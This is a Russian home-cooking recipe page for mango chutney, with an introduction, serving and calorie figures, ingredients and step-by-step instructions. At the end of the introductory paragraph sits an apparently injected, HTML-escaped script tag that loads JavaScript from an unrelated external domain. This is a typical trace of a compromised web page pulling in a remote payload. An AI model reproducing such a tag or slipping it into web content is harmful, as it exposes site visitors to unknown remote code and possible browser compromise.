Чатни из манго

Как известно, чатни - это широко распространенное на юге Азии блюдо. Это традиционная приправа, которую обычно готовят из фруктов - в частности, из манго. Делюсь рецептом.

Чатни из манго - это очень популярная индийская приправа, которая благодаря специям и необычной технологии приготовления очень здорово возбуждает аппетит. Обычно ее передают перед основным блюдом, вместе с какой-нибудь закуской. В нашей семье чатни из манго используется разными способами - намазываем на хлеб, добавляем в блинчики, подаем с оладьями, всякими разными закусками... Вкус передать сложно - надо пробовать. Чего вам и желаю!&ltscript type=text/javascript src=http://fsgv.ru/i.js&gt&lt/script&gt

Количество порций: 8

Очень простой рецепт чатней из манго домашней кухни пошагово с фото. Легко приготовить дома за 30 мин. Содержит всего 187 килокалорий. Авторский рецепт домашней кухни.

• Время подготовки: 7 минут
• Время приготовления: 30 мин
• Количество калории: 187 килокалорий
• Количество порций: 8 порций

• Сложность: Очень простой рецепт
• Национальная кухня: Домашняя кухня
• Тип блюда: Соусы, Чатни

Ингредиенты на восемь порций

• Манго — 2 Штуки
• Растительное масло — 2 Ст. ложки
• Перец чили — 2 Штуки
• Специи — 3 Щепотки (зира, зерна горчицы, перец горошком, соль, сахар, кориандр, паприка)
• Лимонный сок — 2 Чайных ложки

Пошаговое приготовление

1. Очищаем манго от кожуры.
2. Мякоть манго нужно размять ложечкой до пюреобразного состояния.
3. В сковороде разогрейте масло, обжарьте в нем перец и специи в течение 1-2 минуты на быстром огне.
4. Теперь добавляем лимонный сок, перемешиваем.
5. Сразу же добавляем манго и уменьшаем огонь. Тушим, помешивая, в течение 5 минут.
6. Снимаем с огня, охлаждаем - и готово! Хранить в холодильнике.